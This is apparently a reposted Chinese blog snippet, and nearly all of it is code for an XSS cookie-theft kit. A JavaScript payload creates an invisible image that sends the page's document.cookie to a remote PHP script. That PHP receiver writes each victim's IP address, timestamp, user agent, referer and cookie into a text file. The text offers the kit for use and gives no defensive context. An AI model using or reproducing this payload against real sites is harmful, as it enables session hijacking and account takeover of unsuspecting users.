标签:txt serve errors close splay ror PHP代码 play agent
cookie.js代码如下:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://ip/cookie.php?cookie='+encodeURIComponent(document.cookie);
cookie.php代码如下:
<?php
@ini_set('display_errors',1);
$cookie= $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv ('HTTP_REFERER');
$agent = $_SERVER('HTTP_USER_AGENT');
$handler = fopen('cookie.txt', 'a');
fwrite($handler," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n");
fclose($handler);
?>
标签:txt serve errors close splay ror PHP代码 play agent
原文地址:https://www.cnblogs.com/bingogo/p/12077413.html